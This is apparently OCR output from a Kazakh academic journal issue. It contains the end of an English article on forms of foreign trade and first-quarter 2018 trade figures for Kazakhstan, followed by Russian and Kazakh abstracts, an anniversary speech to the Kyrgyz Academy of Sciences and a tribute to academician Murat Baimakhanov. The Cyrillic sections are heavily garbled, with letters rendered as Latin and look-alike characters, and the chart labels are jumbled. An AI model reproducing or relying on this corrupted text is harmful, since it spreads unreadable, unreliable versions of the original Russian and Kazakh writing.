cooperation (MTC)

Scientific-technical and
scientific-production
cooperation

Construction and design
services

Investment cooperation with
foreign partners

Cooperation in the
monetary, financial and
credit sphere

Leasing
Cooperation on a

compensatory basis

Cooperation in the field of
transport

Cooperation in the field of
communications and
computer science with the
use of modern electronic
media.

Social and cultural services

Publishing and polygraphic
activity.

Foreign tourism

Foreign trade marketing

Coastal and border trade

Forms of foreign trade in the Republic of Kazakhstan

Content

Export and import of goods in material form. Commodity exchange operations. The provision
of various services. Execution of works in cooperation with foreign contractors, etc.

In the law of the Republic of Kazakhstan "on military-technical cooperation”, dated December
24,2013, the MTC is defined as " activities in the field of international relations related to
export, including the supply or purchase of military products, as well as the development and
production of military products"[7].

Production cooperation. Joint venture. R&D performance. Providing high-tech services
(including space services for launching satellites of foreign production into orbit, selling aerial
photographs of their territory taken from Russian satellites with high-precision equipment to
foreign countries, creating new materials under zero-gravity conditions).

Trade in licenses, patents, registration of trademarks.

Construction of facilities abroad with the assistance of Kazakh organizations and vice-versa.
Design and survey work. Modernization and reconstruction of previously constructed facilities.
Provision of engineering consulting services (engineering), etc.

Attracting foreign investment to our economy and investing abroad.

Obtaining and granting of credits, financing of various projects, payment and insurance
operations [8].

Leasing of various machine-building products, vehicles by Kazakh landlords and other objects
to foreign tenants.

Kazakh participants of foreign trade activities of technical and other products rent from foreign
lessors, including on conditions of financial leasing [9].

Simple and complex compensation transactions, processing of raw materials (tolling) and other
types of counter trade.

International transportation of export and import cargo.
Transit transportation of foreign goods.
Transport-forwarding services.

TV.

Broadcasting.

Newspaper and magazine production.
Documentary and cinematographic production.

Retailer.

Catering.

Hotel industry.

Education.

Health.

Physical education and sport.
Trade in copyright, etc.

Joint writing of scientific works of historical, philosophical, economic, sociological and other
fields.

Joint writing of General education and popular books. Publication of articles and books by
Kazakhstan authors in foreign publishing houses. Publication of articles and books by foreign
authors in the Republic of Kazakhstan [10].

Export and import of tourist services. The export of tourist services ensures the receipt of
income from the stay of foreign tourists in our country, and imports entail expenses for the
departure of tourists from Kazakhstan and their stay in foreign countries.

It is used for promotion of the Kazakhstan production to the foreign markets and realization of
foreign production in the territory of our country.

They are of great importance for many regions and subjects in the Republic of Kazakhstan and
abroad.

Source: compiled by the author.
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World practice knows more than twenty main forms of economic cooperation, which can be
combined into five groups: 1) trade, 2) industrial, 3) scientific and technical, 4) financial and 5) cultural.
Each form has its own economic and organizational features, the skillful use of which can guarantee the
greatest impact in specific situations [5].

The most common forms of foreign trade in the Republic of Kazakhstan, with their brief charac-
teristics, are shown in the table [6].

Commodity structure of exports, 1st
quarter of 2018., in %

B Mineral products made up
72.7 per

B Metals and products made of
them 16,4

H Animal and vegetable
products 5,7

B Chemical industry products
2,9

M Other 1,3

¥ Machinery and equipment
1,0

Figure 1 — Commodity structure of exports.

Note: compiled by the author on the basis of The Committee on Statistics of the Ministry of National Economy of the Re-
public of Kazakhstan (The Committee on statistics, 2018) [11].

Commodity structure of imports, 1st quarter

H 0,
Of 2018I n A’ B Mineral products 10,8
10,8

B Metals and products made of
them 11,0

38,1 B Animal and vegetable products
11,1

B Chemical industry products
15,4
11,1
® Other 13,6

B Machinery and equipment 38,1

Figure 2 — Commodity structure of imports.

Note: compiled by the author on the basis of The Committee on Statistics of the Ministry of National Economy of the Re-
public of Kazakhstan (The Committee on statistics, 2018) [11].
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Forms of foreign trade are characterized by a high diversity and mobility. As the world economic ties
intensify, new forms of foreign economic activity appear, which may eventually become its independent
species, while the essence of the main types of foreign economic activity as a whole remains quite stable
(Kaliaskarov B. M., 2010).3.1. In the first quarter of 2018, the analytical aspect of the foreign trade tur-
nover of the Republic of Kazakhstan amounted to 21 026.4 million US dollars and compared to January-
March 2017 increased by 24.3%, including exports — 13 779.2 million us dollars (27.0% more), imports —
7 247.2 million us dollars (19.4% more) (The Committee on statistics, 2018) [12].

Mutual trade of the Republic of Kazakhstan with the EAEU (Eurasian economic Union) countries
amounted to 4 185.7 million US dollars or 9.1% more than in January-March 2017, including export —
1 328.1 million us dollars (8.5% more), import — 2 857.6 million us dollars (9.3% more) [13].

Exports to the Russian Federation in January-March 2018 amounted to 1 170.9 million US dollars
(compared to January-March 2017, more by 7.3%), imports — 2 684.8 million us dollars (8.7% more).

Exports to the Republic of Belarus in January-March 2018 amounted to 23.0 million us dollars
(compared to January-March 2017, less by 22.1%), imports — 123.4 million us dollars (32.7% more) [14].

Exports to the Republic of Armenia in January-March 2018 amounted to 2.5 million US dollars
(compared to January-March 2017, 8.0 times more), imports — 1.7 million us dollars (compared to
January-March 2017, 1.8 times more) (The Committee on statistics, 2018) [15].

Exports to the Kyrgyz Republic in January-March 2018 amounted to 131.7 million us dollars
(compared to January-March 2017, an increase of 27.9%), imports — 47.7 million us dollars (6.3% less)
[16].

Conclusions. Priorities of the state policy in the sphere of foreign economic activity are defined in
accordance with the strategic documents of the concept of development of foreign economic activity of
the Republic of Kazakhstan in the context of regions until 2020, presented in the attached List, and
include:

- formation (through institutions, mechanisms and instruments of international economic coopera-
tion) of necessary and sufficient conditions for achieving the strategic goals of Kazakhstan in the world
economy and increasing the contribution of the foreign economic sphere in solving the problems of
innovation-oriented modernization of the national economy and the country's regions;

- development of an integrated Eurasian economic space (common market) member countries of the
Eurasian economic Union, ensuring free movement of goods, services, capital and labor;

- establishment of competitive (compared to best international practice) and accessible to the broad
masses of entrepreneurs of the national system of institutes and mechanisms of development of foreign
economic activity;

- creation of effective for foreign trade participants, ensuring the interests of Kazakhstan and the
Customs Union as a whole in the field of economy and security systems of customs administration and
crossing the state border of the Republic of Kazakhstan.
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OCHOBHBIE ACIIEKTHI PA3BUTHUS BHEIITHESKOHOMHUWYECKOM JEATEJIbHOCTH
B 3110XY I''TIOBAJIM3AIIUA

AHHOTanus. B cratee paccMaTpHBarOTCsI BONPOCH! BKJIIOYEHHS TOCYJapcTBa B IIOOAIbHBIE SKOHOMUYECKHE
IPOLIECCH], CTABIIME HEOOXOIMMBIM yCIOBHEM HAIIMOHAJIBLHOTO Pa3BHUTHS KaXIOH CTpaHbI, cTpemsmeiics Kk dddek-
TUBHOCTU M KOHKYPEHTOCIIOCOOHOCTH CBOEH 3KOHOMMKH. BaxnocTs mosunuu PecryOnukn Kasaxcran n pernoHos
KaK TIOJIHOTIPABHBIX CYyOBEKTOB MEXKIYHApPOIHBIX SKOHOMHYECKHX OTHomeHHH (MOA), xapakTepu3yeT 3KOHOMH-
YeCcKHe OTHOLICHUS CO MHOTHUMHM Pa3BUTHIMH M Pa3BUBAIOIMMHUCS CTpPAaHAMHU, pacIIUpseT KPYyT CTpaH-MapTHepoB. B
CTaThe paccMaTpHUBAIOTCS OCHOBHBIE (DaKTOPBI PA3BUTHs BHEIIHEIKOHOMUYECKUX CBS3€H M WX BIMSHHE HA PEruo-
HaJIbHYI0 SKOHOMHKY. OXapaKkTepu30BaHbl OCHOBHBIE ITaIlbl TUIOJIOTBOPHOM rOCYIaPCTBEHHOW MOJIMTUKH B 00JIaCTH
BHEITHEIKOHOMHUYECKOH nesiresibHocTH (BO/I), oxapakrepusoBana 6azoBas crpykrypa BO/I Pecrry6muku Kazaxcran.
[Mpoucxomut yriry0ieHne TOproBo-5KOHOMUYECKIX OTHOLICHUMH, IBH)KEHHE K MHTETPallii B MUPOBOW PBIHOK.

KitroueBble ciioBa: riodanu3aiys, SKOHOMHUUECKHE MTPOLECCH, BHEIIHEOKOHOMUYECKas! AESTEIbHOCTh, 3KOHO-
MHYECKHE OTHOILICHUSI.
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KAhAHJIAHY JOYIPIHIAEI'T CBIPTKbBI 9dKOHOMUKAJIBIK KbIBMETTI JAMBITY JIBIH
HET'I3I'T ACIHEKTIJIEPI

AHHoTanusi. Makanaga MEMJICKCTTiH >kahaHIbIK SKOHOMMKAJBIK YICpICTepre aiHaifaH KaKETTiI MIAPThI-
YITTBIK ZiaMy 9pOip eljiiH, HUETTeHTeHIep THIMIUIIrT MeH Oaocekere KaOueTTuliriH cypakrap 3eprreiai. Kazakcran
PecniyOnukacel MeH eHipiepaiH XallblKapalblK SKOHOMHUKAIIBIK KATBIHACTAPIBIH TOJBIK KYKbUIBI CyOBeKTiIepi
(X3K) peTiHmeri yCTaHBIMBIHBIH MAHBI3IbUIBIFBI KONITETCH aMbIFAH XKOHE JaMYIIIbI €1ICPMEH 3KOHOMHUKAIBIK KAThI-
HACTap/bl CUMATTAM/IbI, opiNTeC eijep HMIeHOepiH KeHelTemi. Makanaga ChIPTKbI SKOHOMHUKABIK OaillaHBICTapabl
JAMBITYJIBIH HETI3r1 (hakTopsapsl oHE OJapiblH OHIPIIK 3KOHOMHUKAra dcepi KapacThlpbuiaabl. ChIPTKBI YKOHOMHM-
kanblK Kei3MeT (COK) camachiHIAFbl )KEMICTI MEMIICKETTIK CasiCaTThIH HETi3Ti Ke3eHnepi cumaTtTainFaH, Kazakcran
Pecniyonmukaceiapin COK 0a3anblK KYpBUIBIMBL cumatTanFaH. Cayqa-3KOHOMHKAIBIK KapbIM-KaThIHACTAP TEpeHIe-
TLJII, QJIEM/IIK HapbIKKa MHTETPALMsIIaHy JXYpYIe.

Tyiiin ce3mep: jxahaHmany, SKOHOMHKAIIBIK IPOIECTEP, CHIPTKbI IKOHOMHUKAIBIK KbI3MET, 3KOHOMHKAJIBIK
KaTBIHACTA.
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XPOHUKa

HEPYHIUMOE COTPYJIHHUYECTBO
YYEHbBIX BPATCKHUX CTPAH

Brictymuienue
npesuaenta HAH PK, akanemuka M. XXypunosa
k 75-neturo HAH Keipreizckoit PeciyOnuku
(13.11.2018 r.)

Harmonanehas akagemust Hayk Keipreisckoit PecryOmuku otMeuaet 75-1eTre co JHS OCHOBAHUS.

Coznanue akajgeMud Hayk B KHprusuu, HECOMHEHHO, CBHITPajO OTPOMHYIO POJb B JalbHEHIIEM
pa3BuTHH U nporBeTannu Pecyonuku. 3a 75 ner cBoero cymectBoBanuss HAH Keiprerzcrana noiyunna
MpU3HAHKE HE TOJIBKO B peciyOrKe, HO U AaJIeKO 3a ee MpeaeamMH.

Kazaxcran m Kuprusus uMeroT 00raTyro HCTOPHIO KYJIBTYPHOTO W HAyYHOTO COTPYIHHYECTBA.
Kazaxcran u KsIpreisctan Bo Bce BpeMeHa ObUIM OpaTCKUMH M COIO3HHMUYECKHMMHU TOCYIApCTBAMHU H
CTPaTErnYECKUMH NMapTHEPAMH.

Hac cBs3piBatoT He TOJBKO 25 J€T OTHOIIEHUI HOBEHIIEeH MCTOPUM — HAIIM CBA3M UMEIOT OYeHb
riryOOKHe UCTOPUUECKUE KOPHH, €IIe CO BpeMEH Hayalla MUBUIM3aLlUH TIOPKCKOTO MHPA.

Crenyer OTMETUTbH, YTO IIOMHMO YETBEPTHBEKOBOIO IOOMJIES TUINIOMAaTHYECKUX OTHOIICHUH, HAIIU
ctpanbl B 2017 romy OTHpa3IHOBAIU €Ile OAHY Ba)KHYIO IJISl IBYCTOPOHHETO COTpPYIHHUYECTBA ATy —
20-netue monmucanug JloroBopa o BEYHOH Apyk0e — OJUH W3 OCHOBOIOJATAIOUIUX IJS Pa3BUTHAL
MapTHEPCTBA JOKYMEHTOB.

3a mpouleqmue 4EeTBEPTh BEKAa MbI JOCTUITIM MHOTHX YCIEXOB IPAKTHYECKH BO BCEX OOJIACTIX:
9KOHOMHUYECKOH, MOJIUTHYECKON, TYMaHUTapHOM. .. /[ MOIOABIX TOCYIapcTB B COBPEMEHHOM MHPE 3TO
y’K€ HEMaJIO B YCJIOBHUSX IOCTOSIHHOM M KECTKOM KOHKYPEHLMH, T€ONMOJUTHIECKUX TpaHCHOpMaLid U
TEXHOJIOTHYECKOTO Tporpecca. BaXHO M TO, 4TO MBI HE pacTepsiIM ONBIT NMPOLUIBIX OTHOIIECHUH. boiee
TOTO, MBI TIOCTAPAINUCh €r0 MPUYMHOXHTb, YTO BBIPA3UIIOCh B COBPEMEHHOI MOJIUTHKE PETHOHAIBHON U
KOHTHUHEHTAIbHON MHTErpaIiu.

V¥ Kazaxcrana u Kelprei3crana BecbMa CoJHMIHasi JOTOBOPHO-TIpaBoBasi 0a3a, KOTOpas HACUUTHIBACT
6omee 150 pa3auYHBIX JOKYMEHTOB. X04y OTMETUTh, YTO B CBOIO OYEpEIh MEKIY HAITUMHU aKaJIeMUSIMU
HayK ObUI Tarkke moamucad JloroBop O COTpyIHHYECTBE, KPOME TOI'O, MBI TECHO B3aUMOACHCTBYEM B
pamkax [IOC, MAAH u npyrux opraHu3anuid.

Crnenyer ormeruth, Mexnay yueHbiMH Kazaxcrana m Kuprusum pas3BuBaercst COTPYIHHUYECTBO B
o0jacTi Haykd M OOpa3OBaHHWs, PETYIHPYEMOE MEXKIpaBUTEIbCTBEHHBIM COIJIallleHHeM O COTPYAHH-
YyecTBe B 00JacTH 00pa3oBaHUs U HAyKH, moAnucanHeM B 2006 rogy, cOryiacCHO KOTOPOMY 00€ CTOPOHBI
OCYILECTBISIFOT COTPYAHUYECTBO B TAKUX 00IACTSX, KaK:

— oOMeH mHpopmaluei o cucreMe oOpa3oBaHUs M pedopMax, MPOBOJUMEIX B 00pa3oBaTeNbHON
chepe;

— 00MeH y4eOHbIMH M Y4eOHO-METOANYECKUMHI MaTepHalaMu;

— 00MeH 00y4aroImyMHUCs, IeJarorH4eCKUMH U HayYHO- [Iearorn4ecKuMH padOTHUKAMU;

— 00MeH HOpMaTHBHBIMU MPABOBBIMHU aKTaMH 110 BOIIpOcaM 00pa30BaHHA U T.J.

CerozmHsi B KBIPTBI3CKMX By3ax oOydwaroTcsi cTyleHThl u3 Kaszaxcrana, u ocymiecTBisieTcsi 0OMeH
MarucTpantamu u3 obeux crpad. CoTpyaHuuecTBO MexIy yueHbiMH Kazaxcrana u KsIpreizcrana mpo-
JIOJDKAaeT pa3BUBAThCSA B OONACTH TYMaHUTApHBIX HAyK: HCTOPHM, TOJUTOJIOTHH, COLIMOJIOTHH, ecTe-
CTBCHHO-TEXHMYECKHX HAYK, a TaKKE OCYILECTBISETCS B (POPME COBMECTHBIX HAYUHBIX HCCIIEIOBAaHUM,
koH(pepeHuii, ceMuHapos. [lonp3ysch ciaydaem, xoTen Obl HOOJIArOAaPUTh HAIIKUX KBIPTBI3CKUX KOJUIET 32
MPeI0CTaBICHHOE MPaBO 3alUINATh YUCHBIE CTENIEHH U 3BaHHUSA MOJIOJIBIM Ka3aXCTAaHCKUM YUEHBIM.
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Hoporue komneru! Bomnero cyns0bl B pa3Hble TOJIbI MHOTHE KBIPTBI3BI OKazaiunch B Kazaxcrane. B
Acrtane B 2006 romy Oplia co3maHa Accoruamnui KeIprel3oB Kaszaxcrana «MaHac», KoTopas KOHCOJIH-
JIUpOBaia MHOTOUNCIIEHHYIO KBIPTBI3CKYIO THACTIOpPY, IIUPOKO PAacCPEIOTOUEHHYIO 10 BCEl TEPpPUTOPUHU
Kazaxcrana, n o0benHIIA JIOKaJIbHBIE HAIIMOHAIBHO-KYJIBTYpPHBIE 00pa30BaHMs B €AUHYIO ACCOIHMAIHIO.
OTHBIHE COTJIACHO Ka3aXCTaHCKOMY 3aKOHOJIATENIbCTBY KBIPTHI3BI, TMpokuBatone B Kaszaxcrane, momy-
YWJIM BO3MOXXHOCTH BBIIBUTaTh COOCTBEHHOTO KaHIUAATa B Maknirc Ha TOCIENYIOMINX MapIaMeHTCKIX
BBIOOpax. DTO SIBISETCS CBUAETEIBCTBOM TOTO, YTO Ka3aXCKHM U KBIPTHI3CKHI HApOJl CBI3BIBACT ITyOOKast
Ipyxk0a, oOTHOCTh KYJBTYpHI, S3bIKA, TPAAUIMH, JYXOBHBIX IIEHHOCTEH, KOTOphIE HEOOXOAUMO COXpa-
HUTH U IPUYMHOXHUTH 751 OyAYIIMX TOKOJEHWH. MBI TOMHUM, KaK B TsDKEJIble BPEMEHA, HACTYTHBIINE
mocjie JIekabpbCcKoro BoccTaHuss B 1986 romy B r.AJMaThl Ka3aXCKOM MOJIOACKHU MPOTHB IIOBHHHC-
tnaeckux pemennii LK KIICC Bo rnase ¢ ['opbaueBsiMm M.C., KUprusckas MOJNOAEKD UX MOAICpKana 1
rotoBa ObliIa MPUHTH HA TIOMOIIb CBOUM OPaThsIM 110 KPOBH.

Hoporue xomuterun! HAH PK BoT yxe Ha mpoTsDKeHHUM 72-X JIeT BBIMYCKAaeT 8§ HayYHBIX KypHAJIOB,
MpONaraHAupyIoOMNUX JOCTHKEHHUS Ka3aXCTaHCKOMW HayKH, KOTOpPblEe HANpaBIAIOTCS B HallMOHAJbHBIE
OoubnroTexkn 73-X CTpaH MHUpa, 4acTh U3 HUX BKIIOYEHBI B MEXAYHapoaHyIo 0azy «Scopus» u Clarivate
Analytics, 9TO TTOATBEPKAACT WX BBICOKUN MEXIYHAPOITHBIH peHTHHT. MHOTHE ydeHble KvIprbrzcrana
SBIIAIOTCS aBTOPAMM, YICHAMHU PEAKOJUIETHI M peleH3eHTaMH HallluX KYpHAaJIOB, 32 YTO MBI OECKOHEYHO
OmarogapHel. OT0 akageMuk DpkebOaeB AOmpiraHn DpkeOaeBUY, TOKTOP (PU3UKO-MAaTEMATHYECKUX HayK,
mpod. xynymamues B./[. u MHOTHE npyTHE.

12 nmexabps 2018 roma Bech Mup Oyner orMedaTh 90-JeTHE BEIMKOTO KBIPTBI3CKOTO MHCATENs, aKa-
nemuka YuHrusa AiitmaroBa. KazaxcTaH npuHUMaeT akTHBHOE y4acTHE B MEPONPUATHUAX, MOCBSIIEHHBIX
sToil mare. UuHruz AMTMAaToOB SIBISIETCS HE TOJIBKO HapoAHbIM mucateneM Keipreizcrana, Ho u Kazax-
CTaHa, JOCTOSHHEM M TrOpAOCTBhIO BCEro TIOpKCcKoro Mupa. B cBoro ouepens HAH PK, Bce ka3axcranibl
NPUMYT aKTHBHOE y4acTHE BO BCEX MEPONPHSTHUSX, TIOCBSILEHHBIX I0OUIICIO BAILIEr0 BEJIHKOTO 3eMJISKA.

Hoporue xbipreizckue koiuteru! B 3TOT TOpKECTBEHHBIM NIeHb MBI pasfensieM BMmecTe ¢ Bamwu
pPazocTh MOCTUTHYTHIX ycnexoB. HecOMHEHHO, COTPYTHHYECTBO HAIIMX AaKaJeMHH OTKPBIBA€T HOBEHIE
MEPCIIeKTUBBI B MHTEpECcaxX HAIIUX TOCYJapCTB. MBI yBepEeHBI, YTO OHO OyJeT KpemHYyTh U pa3BUBAThHCS Ha
0J1aro HamMx HapoOOB.

XKenato mampHeiimero mporBeTanus HarumonansHO#W akamemunm Hayk Keipreickoit PecrmyOnmkw,
TBOPYECKUX JOCTHKEHUH KBIPTBI3CKUM KOJUIETaM, CYacThsl M OJaromnoyydus OpaTcKOMY KBIPTBI3CKOMY
Hapoay.
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KA3AKCTAH I'bl/IBIMBIHBIH MAKTAHBIIIBI

OtaHIbIK 3aH FBUIBIMBIHBIH aapabo3el, OipTyap rambiM, Kaszakcran PecnyOmmkacbiHBIH Y ITTHIK
FBUIBIM aKaJeMISICHIHBIH aKaJeMHTi, 3aH FBUIBIMIAPBIHBIH IOKTODHI, mpodeccop baiimaxanoB Mypar
Taxi-MypaTyJibl )KaKbIHIa TOPKATBI 85 jKacKa TOJabL.

Hoyipinig napa6o3bl, Tanaii OypiHFa ycta3 OonraH akagemuk Mypatr Toxi-MypaTyiibHBIH eHereni
eMipi KiMre 6oJ1ca J1a YaTi. OOUIAIK TTeH aJaIIbIKTRIH aK JKOJBIHIA )KYPreH 3aHrep 00yasl MakcaT TYTKaH
araMbI3 COJI Ke3JIeT1 YJIbl OalTaK eMiMi3iH eH TaHaayJibl )KOFapbl OKy opHbl Mackeynin M. B. JlomonocoB
aTBIHIAFBl MEMJICKETTIK YHMBEPCUTETiHIH 3aH (akynpTeTiH OiTipin, OYriHri KYHTe AeHiH FBUIBIMH KY-
MBICIIEH TeIarOTHKAIBIK KBI3METTiI KaTrap aTKaphlll, NISKIPTTEPiH FBUIBIMFA, ©3/1epi YHATKAH MaMaH[bI-
FBIHA aJ1aJ1 KbI3MET eTyre KaKbIMal-TaMai 0ayJibi KeJe .

KubiH 2 KBI3BIKTBI ©MIp XKOJbIHAA OWIK MapacaT- MaidbIMBIMEH, aJaMTepIIiIiK MeH MMaHbLUIBIKKA
TOJIBI achll KACHETTEePIMEH epeKIleleHe OUIreH aOBIpOMIBl a3aMaTThIH FHOpaTKa TOJBI JKONBI KeWiH-
rijgepre, ’kac ypIiakka yiri-eHere 0oiyia OinreH. AxajaeMuK, MEMIICKET jkoHe KoraM KakpaTtkepi M. T. baii-
MaxaHOB JIaHAJIBIKTBI, YIIBUIBIK TEH ipilikTi Oip OacklHa TOFBICTHIpa OinreH kaH. OHBIH OMIp JKOJBI,
FBUIBIM CaJachIHAAFbl KETICTIKTEpl, agamMu achll OeifHeci »aH-)KaKThl alllbUIBII, KEHIHEH HacHXaTTallybl
THiCc. ONTKeHi, MypaT araMbI3IBIH 6Mip *KOJIbI KOTIKE OHETe.

MypaT araMbI3JIbIH €J1JICH SPEKIICIICHETIH alaMi KaCUETTEPl KETEPITIK. Oyelli aFraMbI3/IbIH a1ajlIbIFbI
MEH Ta3aJIbIFbIH, JJUIAINT MEH MMAaHJbUIBIFBIH, KINNMEHIIUIITT MEH 3USUIBUIBIFBIH, KyJai OepreH cai-
MaKTBUTBIFBIH, Ca0BIPJIBI MiHE31H, aliTKaH CO3iHEe TYPaKTBUIBIFBIH alTybIMBI3 KepeK. JKyperi YIIKbIp, €H
oyerm Kapa OachlHAa KaTad TaJlall KOsl OUTETIHIITiHIH apKachIHIA OJI ipi FajdbIM JOpEXeCiHe KOTepii,
i3AeHicTep MEH KHUBIHIIBUIBIKTApFa TOJBI KYpAeNdi KongaH cypiHOed erim, OWik TyJFaibl Kazak
3USUTBUTAPBIHBIH KaTapbIHA KOCBUIIIBL.

Axanemuk M.T.baliMaxaHOBTHIH €CIMiH OTaHABIK FHUIBIM MEH YKOFApPFBl MEKTEI 30p MaKTaHBIIIIICH
aiiTa ajajpl.
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Mypat Toxi-MypaTyJIbIHBIH KOPHEKTI FallbIM, YJIaFaTThl YCTa3 JKOHE €NIMi3MiH HaFbI3 YJITXKAHIIBI
azaMaThl peTiHeri napa 0omMbIcHl Toyenci3 KazakcTanapl KypyAblH aFamlkbl )KbUIIAPBIHAA KBUTBIIITAR
JKapKbIpai KepiH/i.

O eniMi3iH MEMJIEKETTITiH KAJIBIITACTHIPY XKOHE OHBIH TOYEJICI3IIriH TYFBIPIbI €Ty e, MEMIICKETTIK
MeH 3aHHAMAaHbBIH OTaHIBIK JKYWECIHIH Heri3iHAe jKaTKaH FBUIBIMH-TEOPHSUIBIK WAEsIIap MEH epeenep
KEIIICHIH )KacayFa oJIIeyci3 YIec KOCTHI.

Anam OallachIHBIH ©MIpiHE KOJI XKETKI3reH JKETICTIKTEpl OHBIH €Jre CiHipreH eHOETiIMEH OJIIICHOCK.
TaObICTBI a3aMaTTBIH JKUFaH-TEPIeH IYHHECIHE, MaJ- MYJIKiHe eMeC, OHBIH Y3aK Kpuimap Ooibl en
aneIHa aOBIPOHI MEH aJall eHOeriHe, OChIHIIIaMa Ta0BICKa XKETY JKOJIBIH/IA TAHBITKAH Ta0aHIbUTBIFBI MEH
HIBIHAWBI KYpeciHe Kaparn eJmieiiMi3, Typiii OarachlH Oepim artambl3. ONTKeHI HaFbI3 a3aMaTThIH €HOEeTIH,
TipJiriH e3renep OalKaiiabl, THiCIHIIE aifHANIACKIHAAFHI KYPT 917 OarachiH Oepill jKaTabl.

En ymrin enOek eTkeH, Tya OiTKeH TaOaHIBUIBIFEIMEH TaH aFaH KBI3METIHIH Ti3TiHIH TiK YCTai OireH
rasbM, akagemMuk Mypat Toxi-Myparyinsl baiimaxanoB 1933 xeuter 1 Kapamama AnamaTsl KalackIHIA
tyabl. OHbIH okeci — 3eitHomna Ceiimxanynel Teperoxkun Atbacap, Akmona, [lerponasn KanamapbiHaa
Kenec eximeriH opHaryra Oencene apamackad, PKII(6) X1 ceesiniH nmeneraTsl Oomianubl, OONBICTHIK,
ye3Iik, TyOepiHmiK skoHe pecnmyOauKaiblK opranaapaa, onely immame BIIWK sxanpianarsr KazakcTaHHBIH
exinerti oxiii, KCPO coBxo3map HapKoMaThl anmnapaThiHAa KbI3MET aTkapraH. 1937 sKbUIAbIH aKaHbIHIA
Ka3CCP acThIK oHe MaiapyanibUIBIFGI HAPKOMBIHBIH OipiHIN OpbIHOAcaphl OOJBIN TaraibIHIANAIbI.
Bipak com xwutel, ssFHA 1937 KBIIABIH MayChIMBIHIA, JKaNlOHUSHBIH TaigacklHAa MIITHOHABIK KOHTppE-
BOJTIOIIMSIJIBIK SPEKET €TTI ISTCH albIIeH KaMayra ajiblHaJIbl.

3.C.Teperoxun KCPO >Korapsl COTHIHBIH ©OCKEpU KOJUIETHSCBIHBIH KayJIBICBIMEH aWBINTaJbII,
1938 puTbl 25 aKmaHga aThUTAABL. OKeNepi KaMayFa allbIHFAaHHAH KeiiH OHBIH OTOAChl KallaJarbl IoTe-
piHEH JKoHE MEMJIKETTIK JadajapblHaH KybUlaJbl. MypaTThIH aHAChl YIII YIIapbIMEH ¥3bIHAFalll CEJIOChIHA
Kelllin Kexyre Max0yp O6omansl. Onga MypaTTsl aHachIHBIH Oanackl3 CiHJICI ©3 KAMKOPBIHA ajlajibl, MiHe,
OCHI Xarfaili MypaTThl KellelIeKTe Ke3eAeceTiH KayinTepAeH aMaH ajbln Kanaabl. Cebebi, omap «XalbIkK
JKaybD» PETIHJIE PEIPECCUsIFa YIITbIparaH 0TOACKIHBIH OachIHA TYCKEH OapiIbIK ayBIPpTHANBIKTApIBI, Scipece,
0apIIbIK QJIEyMETTIK IIEKTeTyIepACH 3apAarl Kelei.

Mypartteiy okeci 3.C.Teperoxkun 1957 »xeuer 30 mMambIpna TONBIK akranansl. OHBIH alIblHIA
OKECiHIH TarabIpbl Typaikl i3aeHimn xypren Mypatka KCPO JKorapbl COTBIHBIH OCKEPH KOJUICTHUSACHIHBIH
OKIIIepl 9KeH aWjayla >KYpreH JKepiHae KalTeic Ooyael jen skayam Oepemi. Tex 1992 xbutbl Oenrii
oonranmait, Mypar Toxi-MypaTyibIHBIH oKkeci AiMathl TyOiHIeri YKaHanbIK CeOChIHAA aThUIBII, JCHE-
CiHIH COH/Ia XKepJICHIeHIHE K31 KeTeI.

ATFBIPIBIFBI MCH 3€HIHAUTITIHIH apKachkiHAa Mypat araMb13 Mackeyre 1952 sxputel 6apsin, M.B.JIo-
MOHOCOB aThIHAAFbl Mockey MEMIICKETTIK YHUBEPCHTETIHIH 3aH (aKyJabTeTiHEe TYCIN, 9Keci aKTajFaH
1957 bUTBI OHBI «KYKBIKTaHY» MaMaHIBIFBI OOMBIHIIA OiTipim, 3aHrep MamaHIbIFbIHA He Oonaabl. OKy
yATepiMiHIET1 03BIK HOTIIKENEpl YIIH TOPTiHIIN KypctaH Oacram cryaeHt Mypar [I. Y. Kypckwmii atbin-
JIaFbl apHayJIbl CTHIICHAMS JIa aJIbI TYPaJibl.

Baiitak emimizaig actaHacel Mackey Mypat Toxi-MypaTyiblHBIH eMipiHae OiniM amyMeH KaTap
JKeke OachUIBIK OMIpiHIE JIe epeKIne OpBIH alabl. OUTKeHI opOip azamar e3iHiH eMipiiK CepiriH, KapblH
Ta0y eH 0acThl apMaHbl 0OJIATHIHBI alijIaH aHBIK HOpce emec rne? MiHe, OChIHIal apMaHbIHA dJTi JIe CTYACHT
0oma xypin Mypar Toxki-Mypatyiiel fa xerti neyre 6onaapl. O coi 0Ky OpHBIHJA OKBII KypreH Paysa
Memnmiaxmenkpi3bl KoHaeBaMeH TaHBICHIT, OTOACKIH Kypaabl. Kasipri yakeITTa ajimpIC XBUIIaH apTHIK
0aKBITTHI OTOACBUIBIK OMip cypim, Oamajgapbl MeH MmeOepelepiHiH apachblHIa KBI3BIKTHI 11a, OaKBITTHI
eMipJIepiH OJlaH api JKaJIFaCThIPyIa.

Korapsl oKynsl OiTipreH skac KiritT eHOeK eMipiHiH XaHa acyblH acyfa OeiiH OekeM OyebIm, icke
Kipicinm Te keTemi. Atam aiTkanna, 1957 xxeurman KazakcTaHHBIH OmiIeT MUHACTPIIITIHIE €Ki KBUT dKYMBIC
aTKapapbl.

OMIipiHiIH XACTHIK IIaFbIHAH €HOCKIICH JOCTAChIM, Tajlail «XaJbIK JKaybIHBIH» OTOACHIHBIH 3ap/ar-
TapblHAH TyFaH KUBIHIBIKTApABl eHcepe OinreH Mypar arambl3 FBUIBIMHBIH Ja KaTan TanaObiH aObIp-
JKpIMai Kapchl ana oinai. 1959-1962 xeuimaper M. T. Baiimaxanos KCPO FrutbiM AkaieMHUsSChIHBIH MEM-
JIeKeT KoHE KYKBIK HHCTHTYTHIHBIH aCIPaHTyPachlHa TYCII, OHBI OiTipei.

Mypat Toxi-MypaTyJIbIHBIH aCUPAHHTHIK JKBUIIAPHl KEKe ajaM MOCeNepiH aKTall IIbFapy HOTH-
JKECiHIe KOFaM MEH ajaM Typaslbl FRUIBIMIAP TapWXbIHAA JKaHa Tapay allkaH FRUIBIM YIIiH Oepekeli
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(OKBUTBIMBIKY» Ke3eHre nan kenai. Coin xbuigapaarkl Mockey MeMIIEKeT jKoHE KYKBIK MHCTHTYTHI — YKEeKe
aJaMHBIH ©31HIIK KETKUTIKTUTIT MEH JKOFaphl KYHABUIBIFE HACSICHIHAH TYBIHIAUTHIH K€3 KEITCH IILIHANBI
nbepanu3M CHSKTBI, OTAHBIK JIMOCPATM3MHIH KaiTa epJeyiHiH FHUIBIMH OPTaJIBIKTAPBIHBIH Oipi OOJIHI.
